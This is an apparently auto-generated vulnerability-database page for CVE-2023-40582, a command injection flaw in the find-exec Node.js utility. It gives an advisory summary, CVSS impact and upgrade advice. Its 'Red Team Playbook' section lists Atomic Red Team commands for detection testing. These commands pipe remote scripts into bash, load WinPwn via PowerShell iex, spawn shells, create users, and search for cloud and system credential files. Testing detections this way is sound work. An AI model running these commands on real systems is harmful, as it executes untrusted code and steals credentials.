CVE-2023-40582
Overview
The vulnerability is a command injection flaw in the find-exec utility, specifically caused by improper escaping of user-supplied input. This issue affects versions prior to 1.0.3 of the find-exec utility, which is designed to discover available shell commands. The root cause lies in the failure to sanitize parameters passed to shell commands, allowing injection of arbitrary shell instructions.
Vulnerability Description
find-exec is a utility to discover available shell commands. Versions prior to 1.0.3 did not properly escape user input and are vulnerable to Command Injection via an attacker controlled parameter. As a result, attackers may run malicious shell commands in the context of the running process. This issue has been addressed in version 1.0.3. users are advised to upgrade. Users unable to upgrade should ensure that all input passed to find-exec comes from a trusted source.
Impact
An unauthenticated attacker with network access can execute arbitrary shell commands in the context of the running find-exec process due to the lack of authentication and low attack complexity (CVSS vector AV:N/AC:L/PR:N/UI:N). This can lead to full system compromise, data exfiltration, or service disruption depending on the environment where find-exec is deployed. The vulnerability allows complete confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Users should upgrade find-exec to version 1.0.3 or later, as this version includes proper input escaping to mitigate the command injection vulnerability. Detailed patch information and remediation steps are available in the GitHub security advisory GHSA-95rp-6gqp-6622 and the associated commit 74fb108097c229b03d6dba4cce81e36aa364b51c. For environments where immediate upgrade is not feasible, ensure that all input passed to find-exec originates from trusted sources only.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the find-exec utility stems from improper handling of user input, which allows for command injection attacks. Specifically, versions prior to 1.0.3 fail to adequately escape user-supplied parameters. This oversight permits an attacker to manipulate the input in such a way that arbitrary shell commands can be executed within the context of the running process. The implications of this flaw are significant, as it can lead to unauthorized access, data exfiltration, or even complete system compromise, depending on the privileges of the process executing the find-exec utility.
Attack vectors for exploiting this vulnerability can vary, but they typically involve an attacker crafting a malicious input that is passed to the find-exec utility. For instance, if an application utilizes find-exec to locate and execute shell commands based on user input, an attacker could inject additional commands by exploiting the lack of input validation. This could be done through various means, such as web forms, API endpoints, or any other method that allows user interaction with the utility. Once the malicious input is executed, the attacker could perform a range of actions, from creating new user accounts to installing malware, all while remaining undetected.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on the find-exec utility in their workflows. Given the high CVSS score of 9.8, the risk associated with exploitation is categorized as critical. Businesses may face not only immediate operational disruptions but also long-term reputational damage, legal repercussions, and financial losses resulting from data breaches or service outages. Furthermore, the potential for data theft or system integrity violations could lead to regulatory fines, especially in industries governed by strict compliance requirements.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to version 1.0.3 or later of the find-exec utility, where the issue has been addressed. For those unable to perform an immediate upgrade, implementing strict input validation and sanitization measures is crucial. This includes ensuring that all input to the utility originates from trusted sources and is properly escaped to prevent command injection. Additionally, employing security monitoring tools to detect unusual command execution patterns can help identify potential exploitation attempts. Regular security assessments and penetration testing should also be conducted to uncover any other vulnerabilities that may exist within the environment.
In conclusion, the command injection vulnerability in the find-exec utility highlights the critical importance of secure coding practices and input validation. Organizations must remain vigilant in their security posture, ensuring that they are not only aware of existing vulnerabilities but also proactive in their remediation efforts. By adopting a comprehensive approach to security that includes timely updates, robust input handling, and continuous monitoring, businesses can significantly reduce their risk of exploitation and safeguard their assets against potential threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Find-Exec Project | Find-Exec | All |
cpe:2.3:a:find-exec_project:find-exec:*:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-40582 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/shime/find-exec/security/advisories/GHSA-95rp-6gqp-6622 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/shime/find-exec/commit/74fb108097c229b03d6dba4cce81e36aa364b51c |